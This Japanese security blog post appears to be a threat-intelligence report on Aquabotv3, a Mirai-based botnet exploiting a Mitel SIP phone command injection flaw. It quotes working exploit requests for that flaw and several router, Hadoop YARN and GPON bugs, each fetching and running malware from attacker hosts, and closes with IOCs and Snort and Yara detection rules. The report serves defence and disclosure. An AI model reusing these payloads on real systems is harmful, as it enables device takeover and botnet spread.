活動中の悪用:本拠に報告を発信する新しい Aquabot の亜種
編集・協力:Tricia Howard
エグゼクティブサマリー
Akamai Security Intelligence and Response Team(SIRT)は、Mitel SIP 電話機を悪用しようと活動している Mirai ベースのマルウェア Aquabot の新しい亜種を同定しました。これは Aquabot の 3 番目の個別の変種になるため、Aquabotv3 と名付けました。
このマルウェアは、Mitel モデルに影響を及ぼすコマンドインジェクションの脆弱性である CVE-2024-41710 を悪用するものです。
このマルウェアは Mirai の亜種ではこれまでに見たことのないふるまいを示します:すなわち、感染したデバイスで kill シグナルをキャッチしたときに、コマンド & コントロール(C2)にレポートする関数(report_kill)です。このブログ投稿の日付時点で、C2 からの応答は確認されていません。
はじまりと発見
Aquabot とは
Aquabot は、分散型サービス妨害(DDoS)を最終的な目標として Mirai フレームワークをもとに構築されたボットネットです。その名前は、解析時に出現するファイル名「Aqua」に由来しています。これは、2023 年 11 月から知られており、Antiy Labs によって初めて報告されました。現在、3 つの既知のバージョンがあります。このブログ投稿では 3 つ目のバージョンを紹介します。
最初のバージョンは Mirai の基本フレームワークと非常によく似たもので、2 番目のバージョンには、デバイスのシャットダウンや再起動の防止など、隠蔽と永続化のメカニズムが追加されています。完全な技術的分析については、Antiy の記事を読むことをお勧めします。
この 3 つ目の変種では、Mirai ベースのボットネットとしては新規のアクティビティが追加されました。ボットネットが特定のシグナルを受信したときの C2 への通信です。この点やその他の機能面の顕著な違いによって 2 つのバージョンを明確に区別できるので、3 つ目の亜種として特定されます。
脆弱性と概念実証の悪用
CVE-2024-41710
CVE-2024-41710 は、Mitel の 6800、6900、6900w シリーズ SIP 電話機に影響を及ぼすコマンドインジェクションの脆弱性で、R6.4.0.HF1(R6.4.0.136)までの 6970 会議ユニットも対象に含まれます。2024 年 7 月中旬に初めて開示されました。この脆弱性は、入力のサニタイズ(無害化)の瑕疵に依存しており、攻撃によってデバイスのルートアクセスに至る可能性があります。Packetlabs の研究者である Kyle Burns 氏が GitHub で 2024 年 8 月中旬に公開した概念実証(PoC)の中で提示されています。
2025 年 1 月に SIRT が観測するまでは、この脆弱性が悪用された既知の事例はありません。
概念実証の悪用
この概念実証(PoC)の悪用では、特別に細工された HTTP POST リクエストを送信することによって、アプリケーションのサニタイズチェックによってブロックされるはずのエントリを、攻撃者が密かに持ち込むことができることが示されています。
Burns 氏は GitHub README の中で、Mitel 6869i SIP 電話機のファームウェアバージョン 6.3.0.1020 は、ユーザーが入力した内容を適切にサニタイズできないことを確認し、複数のエンドポイントでこの脆弱性を確認したと報告しています。PoC では、エンドポイント「802.1x サポート」(8021xsupport.html)に注目しています。
8021xsupport.html へのリモートリクエスを使用して、デバイスのローカル設定(/nvdata/etc/local.cfg)を更新できます。バイト値「%dt」を送信すると、「linemgrSip」Web アプリケーションはこれを行の終了文字「%0d」として解釈します。これを起動プロセス中に利用して、デバイスのローカル設定の内容を読み出して起動アクションに使用します。
Burns 氏の PoC による攻撃では、コードを実行する目的で、802.1x+identity HTTP POST パラメーターとして次のペイロードを指定します。
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
起動プロセス中、アプリケーションはデバイスのローカル設定内のターゲットホスト名エントリを上書きします。次に、そのホスト名エントリが起動中に使用され、先頭に付加されたシェルスクリプトが実行されます。
活動中の悪用
Akamai SIRT は、2025 年 1 月初めに、当社のハニーポットのグローバルネットワークによって、PoC とほぼ同一のペイロードを使用して該当の脆弱性を標的とする攻撃を検知しました。前のセクションで示したペイロードの例は、URI「/8021xsupport.html」をターゲットにしていましたが、現在は実際にマルウェアを拡散するために使用されています。
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
このペイロードは、「bin.sh」というシェルスクリプトをフェッチして実行し、これがターゲットシステム上で Mirai マルウェアをフェッチして実行します。x86 や ARM など、さまざまなアーキテクチャがサポートされています。
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
マルウェアサンプルの分析に基づいて、これは Aquabot Mirai 亜種の 1 バージョンであると判断しました。Aquabotv2 と最も類似点が高いですが、攻撃機能は同じであるものの、以下のセクションで説明するような大きな相違点がいくつかあります。マルウェアにこのような進化があるため、Aquabotv3 と名付けました。
マルウェアの分析
一見すると、Aquabotv3 はフラッドやバイパスなどの一般的な DDoS 攻撃機能を備えた標準的な Mirai マルウェアバイナリにすぎないように見えます。
[0x00008194]> afl|grep attack
0x000089f8 27 1680 sym.attack_gre_eth
0x0000c550 24 1256 sym.attack_udp_generic
0x0000b8f4 27 852 sym.attack_tcp_socket
0x0000be78 19 672 sym.attack_udp_plain
0x0000c118 20 1076 sym.attack_udp_vse
0x000084e8 8 108 sym.attack_get_opt_ip
0x0000a0fc 31 1780 sym.attack_tcp_ack
0x000085c4 1 1016 sym.attack_init
0x00009948 32 1968 sym.attack_tcp_stomp
0x000096a8 19 672 sym.attack_std
0x000081d0 13 244 sym.attack_start
0x0000aea0 31 1780 sym.attack_tcp_legit
0x000082cc 24 540 sym.attack_parse
0x0000a7f4 28 1704 sym.attack_tcp_syn
0x00008554 8 112 sym.attack_get_opt_int
0x0000bc4c 14 556 sym.attack_udp_bypass
0x0000908c 27 1560 sym.attack_gre_ip
0x0000b598 27 860 sym.attack_tcp_bypass
[0x00008194]>
しかし私たちは、「defend_binary()」(図 1 では「sym.defend_binary」)という関数があり、以下のシグナルに対応するシグナルハンドラ「handle_signal()」を設定していることに気づきました。
- シグナル 15(SIGTERM)
- シグナル 2(SIGINT)
- シグナル 9(SIGKILL)
- シグナル 3(SIGQUIT)
- シグナル 20(SIGTSTP)
- シグナル 21(SIGTTIN)
- シグナル 22(SIGTTOU)
- シグナル 1(SIGHUP)
図 1 は、実行中のマルウェアサンプルにこれらのシグナルのいずれかが送信されると、マルウェアがそれをキャッチすることを示しています。
シグナルをキャッチすると、「handle_signal」関数はメモリにフラグを設定し、シグナルをキャッチし、バイナリが「defended(防御を受けた)」であることを示します(図 2)。
ここでは停止せず、Aquabotv3 は本拠に報告します。report_kill() 関数で、シグナルがキャッチされたことを示すメッセージを TCP 接続を介して C2 に送信します(図 3)。
マルウェアは、kill の試行も C2 に送信します(図 4)。ただし、シグナルをキャッチしたという通知に基づいて C2 から何かが報告されているようには見えません。
こうしたふるまいは Mirai の亜種ではこれまでに確認されていないため、新しい機能であると考えられます。このふるまいの真の理由は確認されていませんが、C2 への通信は、ボットネット作成者がボットネットの活動状況を積極的に監視する手段である可能性があります。
ボットネットには、ローカルシェルなど特定の要件に一致するプロセスを強制終了するようにプログラムされた機能が含まれています。
[0x00008194]> afl|grep killer
0x0000d900 15 332 sym.killer_diego
0x0000da64 18 376 sym.killer_dora_the_explorer
0x0000d324 13 664 sym.killer_im_the_map
0x0000d5dc 18 388 sym.killer_boots
0x0000ced4 42 1068 sym.killer_tico
0x0000dbf8 4 100 sym.killer_init
0x0000d77c 15 356 sym.killer_swiper
Aquabotv2 では難読化メカニズムが導入されましたが、これは v3 にも存在していました。図 5 は、マルウェアが自身の名前を「httpd.x86」に変更し、ポート 33966 を介して C2 サーバー 193.200.78[.]57 と通信する方法を示しています。
マルウェアのふるまいを動的に分析することで、ポート 7733 を介して 89.190.156[.]145 の C2 サーバーにも接続していることがわかりました。これらのポートは、分析したサンプルの多くで一貫しています。
root@debian:~# lsof |grep httpd
httpd 919 larry cwd DIR 8,1 4096 9879 /home/larry
httpd 919 larry rtd DIR 8,1 4096 2 /
httpd 919 larry txt REG 8,1 62772 10798 /home/larry/Aqua.x86
httpd 919 larry 0u IPv4 23658 0t0 TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd 919 larry 3u sock 0,8 0t0 16781 protocol: TCP
標的とされるその他の脆弱性
他の多くのボットネットと同様に、このマルウェアは他のさまざまな脆弱性を標的にして、到達範囲を拡大します。同じ Aquabot Mirai マルウェアが、よく悪用される Hadoop の YARN 脆弱性によって拡散していることが確認されました。前述したペイロードと同様に、この攻撃でも同じ「bin.sh」シェルスクリプトをフェッチして実行します。このシェルスクリプトが、ターゲットシステムで Aquabot Mirai マルウェアの亜種をフェッチして実行します。
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
Hadoop の YARN 脆弱性の悪用
ボットネットの標的となっていたその他の脆弱性には、次のようなものがありました。CVE-2018-17532、CVE-2023-26801、CVE-2022-31137、Linksys E シリーズ RCE、CVE-2018-10562、CVE-2018-10561。ファイル名は Mitel エクスプロイトでの単純な「Aqua」の名前とは異なりますが、これらのエクスプロイトのマルウェアも同じものであると見られます。
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
CVE-2018-17532 の悪用
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lbink;
CVE-2023-26801 の悪用
/app/options.py show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
CVE-2022-31137 の悪用
/tmUnblock.cgi submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
Linksys E シリーズ RCE の悪用
/GponForm/diag_Form?images/ XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
CVE-2018-10562 および CVE-2018-10561 の悪用
サービスとしての DDoS
また、Aquabot の背後にいる脅威アクターが、テレグラムなどのプラットフォーム上で、このボットネットをサービスとしての DDoS として宣伝していることも確認しました(図 6)。レイヤ 4 およびレイヤ 7 の DDoS を提供すると、複数の異なる名前で宣伝されています。命名規則はさまざまで、その真の目的に関して誤解を呼ぶものもあります。たとえば、Cursinq Firewall、Eye Services、Eye Botnet などです。
脅威アクターが、研究者や法執行機関を欺こうとして、ボットネットは DDoS 緩和テストの目的でのみ使用されると主張することはよくあります。PoC や教育的な性格のものであると脅威アクターは主張していますが、詳細な分析によると、実際にサービスとしての DDoS を宣伝していること、あるいは所有者がテレグラムで独自のボットネットを実行していると吹聴していることが確認できます。
たとえば、図 6 の広告では、「DDoS 緩和システム」の「純粋なテスト」であると主張しているのとまったく同じドメインが Mirai マルウェアを活発に拡散しています。
連動する Mirai と DDoS
DDoS は今も多くの組織にとって浸透的な脅威ですが、Aquabot などのボットネットはこの分野で重要な役割を果たすものです。さらに、これらのボットネットの大部分は Mirai マルウェアに基づいているため、主に IoT デバイスをターゲットにしており、マルウェアの拡散が比較的容易です。
企みを持ったボットネット作成者にとって、Mirai には高い ROI があります。Mirai は世界で最も成功したボットネットファミリーの 1 つであり、変更が容易でもあります。一般的な IoT マシンでは、しばしば適切なセキュリティ機能を欠いていたり、サポート切れであったり、構成とパスワードがデフォルトのままであったりしますが、これは危険について無視しているか、危険だという知識がないことが原因です。
Aquabot の場合、コアとなるマルウェアは Mirai と同じですが、シグナルの処理が特にユニークです。しかし、ユニークであっても最も有用であるとは限りません。このマルウェアはあまり静かではなく、これが不利益につながる可能性があります。
ユニークなシグナル処理の理由は、脅威アクターがマシンの防御活動を意図的に監視し、よりステルス性の高い亜種を将来開発するためだと考えられます。また、競合するボットネットや倫理的なテイクダウンキャンペーン、またはその組み合わせによるアクティブな破壊/攻撃を検知するためにも使用できます。
対策の実施
攻撃者の意図が何であれ、セキュリティ保護されていない IoT デバイスに対処すること(検知やデフォルトの認証情報の変更など)は、DDoS との戦いに役立ちます。そうしたボットネットの多くは、共通のパスワードライブラリに頼って認証を行います。既知の IoT デバイスの状態を確認し、不正デバイスについても確認してください。ログイン認証情報を確認し、デフォルトであったり、簡単に推測できるものである場合は変更してください。
詳細を見る
セキュリティ侵害インジケーター(IoC)
防御にあたる人を支援するために、脅威の痕跡(IOC)のリストを、Snort ルールおよび Yara ルールを含めて示します。
ネットワーク IOC の Snort ルール
悪性 IP の Snort ルール
# Outbound traffic TO any of these malicious IPs
alert ip any any -> [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )
# Inbound traffic FROM any of these malicious IPs
alert ip [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
C2 ドメイン解決検知のための Snort ルール
alert udp any any -> any 53 (
msg:"Malicious domain DNS query (subdomains included)";
;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:
dns_query;
pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";
classtype:botnet-activity;
sid:1000001;
rev:1;
priority:1;
)
マルウェアサンプルの Yara ルール
import "hash"
rule Malicious_Malware_IOCs
{
meta:
description = "Detects suspicious samples referencing known malicious infrastructure and strings"
strings:
// --- IP addresses (as ASCII) ---
$ip1 = "89.190.156.145"
$ip2 = "91.92.243.233"
$ip3 = "213.130.144.69"
$ip4 = "154.216.16.109"
$ip5 = "193.200.78.33"
$ip6 = "173.239.233.47"
$ip7 = "141.98.11.67"
$ip8 = "141.98.11.175"
$ip9 = "173.239.233.48"
$ip10 = "173.239.233.46"
// --- Domain names (as ASCII) ---
$dom1 = "dogmuncher.xyz"
$dom2 = "cardiacpure.ru"
$dom3 = "fuerer-net.ru"
$dom4 = "eye-network.ru"
$dom5 = "intenseapi.com"
$dom6 = "cloudboats.vip"
$dom7 = "theeyefirewall.su"
$dom8 = "awaken-network.net"
// --- Unique strings from malware analysis ---
$str_locker_killed = "[locker] killed process: %s"
$str_killer_node = "[killer/node] killed process: %s"
$str_killer_cpu = "[killer/cpu] killed process: %s"
$str_killer_cmd = "[killer/cmd] killed process: %s"
$str_killer_stat = "[killer/stat] killed process: %s"
$str_killer_exe = "[killer/exe] killed process: %s"
$str_killer_maps = "[killer/maps] killed process: %s"
condition:
any of ($ip*) or // Match if any malicious IP is found in ASCII form
any of ($dom*) or // Match if any malicious domain is found in ASCII form
any of ($str_killer*) or ($str_locker_killed)
}
rule Known_Malicious_Files_by_SHA256
{
meta:
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
condition:
hash.sha256(0, filesize) in (
"597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
"6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
"b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
"b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
"1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
"e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
)
}
履歴インフラの IPv4 アドレス
89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46
C2 およびマルウェア配布エンドポイントのドメイン
dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net
SHA256 ハッシュ
597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86
6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec
b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b
b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de
1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef
e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3